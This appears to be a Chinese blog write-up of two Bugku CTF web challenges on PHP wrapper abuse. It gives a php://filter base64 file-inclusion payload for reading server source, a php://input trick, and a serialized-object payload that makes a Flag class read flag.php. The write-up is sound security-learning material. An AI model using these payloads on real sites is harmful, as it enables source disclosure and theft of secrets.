php封装协议的两道题

这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录。。

1.  先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388343

接下来直接上题:

1.http://123.206.87.240:8005/post/index.php?file=show.php

看源码和抓包都无果,根据题目提示,flag在index里,应该想到这里是要我们找到index.php的源码。

再看url里面file参数=show.php这里联想到可能是有文件包含漏洞。

所以这里进行php://filter协议去看index的源码

关于 php://filter   这里有个大佬的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里有一句常常用到,所以我觉得最好可以背下来,不然每次都难得百度,需要想将php转base64读取,这样include才不会把php文件执行。

这里令file=php://filter/read=convert.base64-encode/resource=index.php

然后直接拿到index的base64的源码,然后直接拿去解码,然后再源码里可以找到flag。

2.bugku    "welcome to bugkuctf"

连接:http://123.206.87.240:8006/test1/

点进去看源码

这里可以看到       include($file);       有这个一般都存在文件包含漏洞。

和上题一样,这里可以利用php封装协议查看index.php 的源码和 hint.php的源码,但是,这里要先满足if里的条件才会包含file

file_get_contents()  这个函数是把文件读为字符串,这里要用到php://input 协议,

这里有关于 php://input 协议的一片博客附上:https://blog.csdn.net/qq_27682041/article/details/73326435

官方的说法是

我自己的理解是,php://input 它是一个文件,它读取post数据,并且写入文件里,而include()会把文件当作php文件来解释,所以可以post  php代码执行的。

回到这道题,这里就直接user=php://input  然后再post数据过去,然后再读取index和hint两个的源码

http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

拿去base64解码 得到源码

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,‘r‘)==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸?è?½ç?°å?¨å°±ç»?ä½ flagå?¦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,‘r‘)==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

同样的方法拿到 hint.php的源码

<?php

class Flag{//flag.php
public $file;

public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

这里看到flag.php 本来是想直接读出flag的源码,但是没法读,因为他把flag给我过滤了,但是 ,这里else里面又有include(),而且最后会echo password,所以这里想到会用echo输出flag。

unserialize()函数参见此网站,https://www.cnblogs.com/perl6/p/7124345.html

看了过后你就应该明白,这里构造 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

原文地址:https://www.cnblogs.com/tlbjiayou/p/10890314.html

时间: 2024-10-12 08:12:36

php封装协议的两道题的相关文章

LFI &amp; RFI &amp; PHP封装协议之安全问题研究

目录 1. 文件包含的基本概念 2. LFI(Local File Include) 3. RFI(Remote File Include) 4. PHP中的封装协议(伪协议).PHP的流式文件操作模式所带来的问题 1. 文件包含的基本概念 严格来说,文件包含漏洞是"代码注入"的一种."代码注入"这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行."代码注入"的典型代码就是文件包含(File Inclusion),我的理解是叫&

金升阳首推支持HART协议的两线制回路供电信号调理模块

产品特点: ● 输出回路供电 ● 支持HART协议通信 ● 高精度等级(0.1% F.S.) ● 高隔离(输入.输出两端2KVAC/1mA) ● 小体积:SIP9封装(26*9.5*12.5mm) ● 低温漂:50PPM/℃ ● 工作温度范围:-40℃~85℃ ● 高ESD防护等级(裸机 ±4KV) 继发布了业界首款支持两线制回路供电信号调理模块T_LF后, 金升阳紧接着又推出了其升级产品:TS107HL-F-2.5,该升级产品支持HART通信协议,能帮助客户实现控制设备与现场智能仪表之间的通信

关于字符串的两道题

js关于字符串的两道题 1.编写函数rightchange(char,n),实现字符串char 循环右移n位 function rightchange(char,n){ var arr = char.split(""); n = n % arr.length;//取余 for(var i=1;i<=n;i++){ arr.unshift(arr.pop()); } console.log(arr.join("")); } rightchange("a

函数与指针参数——关于两道题目的个人理解

题目1,下面的代码的输出结果是什么 1 #include<stdio.h> 2 3 void get(char *p) 4 { 5 p="hello!"; 6 } 7 8 int main(int argc, char const *argv[]) 9 { 10 char *str=NULL; 11 str = get(); 12 13 printf("%s\n",str); 14 15 return 0; 16 } 读者也可以自己思考一下答案是多少,当

关于php支持的协议与封装协议

1 <?php 2 3 /* 4 * php://stdin 标准输入流 5 * php://stdout 标准输入流 6 * php://stderr 标准错误流 7 * php://output 只写的数据流 8 * php://fd 允许直接方位文件描述符 9 * 10 * php://memory 允许读写临时数据 php://memory 和 php://temp 都是允许读写的临时数据,他俩的唯一区别是 php://memory 总是把数据存在内存中 11 * 而php://temp

分布式协议之两阶段提交协议(2PC)和改进三阶段提交协议(3PC)

一. 事务的ACID 事务是保证数据库从一个一致性的状态永久地变成另外一个一致性状态的根本,其中,ACID是事务的基本特性. A是Atomicity,原子性.一个事务往往涉及到许多的子操作,原子性则保证这些子操作要么都做,要么都不做,而不至于出现事务的部分操 作成功,而另外一部分操作没有成功.如果事务在执行的过程中发生错误,那么数据库将回滚到事务发生之前的状态.比如银行的转账服务, 这个事务的最终结果一定是:某个账户的余额增加了x,而另外一个账户的余额减少了x,或者两个账户的余额未发生变化.而不

(十四)UDP协议的两个主要方法sendto和recvfrom详解

在网络编程中,UDP运用非常广泛.很多网络协议是基于UDP来实现的,如SNMP等.大家常常用到的局域网文件传输软件飞鸽传书也是基于UDP实现的. 本篇文章跟大家分享linux下UDP的使用和实现,主要介绍下sendto()和recvfrom()两个函数的使用,以及INADDR_ANY的说明,并在最后展示了一个经过自己测试可用的UDP Server和UDP Client的代码示例. 关于UDP数据报 UDP都是以数据报的形式进行发送和接收的,而TCP是以数据流的形式进行发送和接收的.数据报和数据流

小测(noip2005的两道题) 2017.3.3

过河 题目描述 Description 在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧.在桥上有一些石子,青蛙很讨厌踩在这些石子上.由于桥的长度和青蛙一次跳过的距离都是正整数,我们可以把独木桥上青蛙可能到达的点看成数轴上的一串整点:0,1,……,L(其中L是桥的长度).坐标为0的点表示桥的起点,坐标为L的点表示桥的终点.青蛙从桥的起点开始,不停的向终点方向跳跃.一次跳跃的距离是S到T之间的任意正整数(包括S,T).当青蛙跳到或跳过坐标为L的点时,就算青蛙已经跳出了独木桥.题目给出独

刷了两道题

leetcode上的Two Sum和Add Two Numbers. twoSum给出的问题是,给定一个整数数组和一个整数,求其中的哪两个元素的和等于给定的那个整数,并返回这两个元素的索引. 我的思路是,进行两层循环,从数组第一个元素开始,分别与它后面的元素相加,这样就能保证遍历完成时,数组中任意两个数都相加过.然后将和等于给定整数的两个元素的索引返回成一个vector<int>. addNum给出的问题是,给定两个链表,分别倒序表示两个整数,比如2->4->3,和5->6-